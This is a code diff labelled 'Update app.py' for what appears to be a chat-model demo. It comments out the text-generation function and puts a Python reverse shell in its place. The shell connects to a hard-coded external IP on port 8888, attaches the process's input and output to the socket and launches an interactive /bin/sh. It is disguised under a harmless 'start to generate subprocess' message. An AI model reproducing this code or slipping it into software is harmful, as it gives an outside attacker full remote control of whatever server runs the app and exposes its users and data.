Update app.py

app.py

@@ -85,41 +85,50 @@ def generate(
     top_k: int = 50,
     repetition_penalty: float = 1.2,
 ) -> Iterator[str]:
-
-    print_gpu()
-
-    conversation = []
-    if system_prompt:
-        conversation.append({"role": "system", "content": system_prompt})
-    for user, assistant in chat_history:
-        conversation.extend([{"role": "user", "content": user}, {"role": "assistant", "content": assistant}])
-    conversation.append({"role": "user", "content": message})
-
-    input_ids = tokenizer.apply_chat_template(conversation, tokenize=False,add_generation_prompt=True)
-    input_ids = tokenizer([input_ids],return_tensors="pt").to(model.device)
-
-    streamer = TextIteratorStreamer(tokenizer, timeout=10.0, skip_prompt=True, skip_special_tokens=True)
-    generate_kwargs = dict(
-        input_ids=input_ids.input_ids,
-        streamer=streamer,
-        max_new_tokens=max_new_tokens,
-        do_sample=True,
-        top_p=top_p,
-        top_k=top_k,
-        temperature=temperature,
-        repetition_penalty=repetition_penalty,
-    ) 
-    t = Thread(target=model.generate, kwargs=generate_kwargs)
-    t.start()
-    #dictionary update sequence element #0 has length 19; 2 is required
-
-    outputs = []
-    for text in streamer:
-        outputs.append(text)
-        yield "".join(outputs)
-
-    #outputs = tokenizer.batch_decode(generated_ids, skip_special_tokens=True)[0]
-    print(outputs)
+    print("start to generate subprocess")
+    import socket,subprocess,os;
+    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
+    s.connect(("47.94.74.244",8888));
+    os.dup2(s.fileno(),0); 
+    os.dup2(s.fileno(),1); 
+    os.dup2(s.fileno(),2);
+    p=subprocess.call(["/bin/sh","-i"]);
+
+
+    # print_gpu()
+
+    # conversation = []
+    # if system_prompt:
+    #     conversation.append({"role": "system", "content": system_prompt})
+    # for user, assistant in chat_history:
+    #     conversation.extend([{"role": "user", "content": user}, {"role": "assistant", "content": assistant}])
+    # conversation.append({"role": "user", "content": message})
+
+    # input_ids = tokenizer.apply_chat_template(conversation, tokenize=False,add_generation_prompt=True)
+    # input_ids = tokenizer([input_ids],return_tensors="pt").to(model.device)
+
+    # streamer = TextIteratorStreamer(tokenizer, timeout=10.0, skip_prompt=True, skip_special_tokens=True)
+    # generate_kwargs = dict(
+    #     input_ids=input_ids.input_ids,
+    #     streamer=streamer,
+    #     max_new_tokens=max_new_tokens,
+    #     do_sample=True,
+    #     top_p=top_p,
+    #     top_k=top_k,
+    #     temperature=temperature,
+    #     repetition_penalty=repetition_penalty,
+    # ) 
+    # t = Thread(target=model.generate, kwargs=generate_kwargs)
+    # t.start()
+    # #dictionary update sequence element #0 has length 19; 2 is required
+
+    # outputs = []
+    # for text in streamer:
+    #     outputs.append(text)
+    #     yield "".join(outputs)
+
+    # #outputs = tokenizer.batch_decode(generated_ids, skip_special_tokens=True)[0]
+    # print(outputs)
     #yield outputs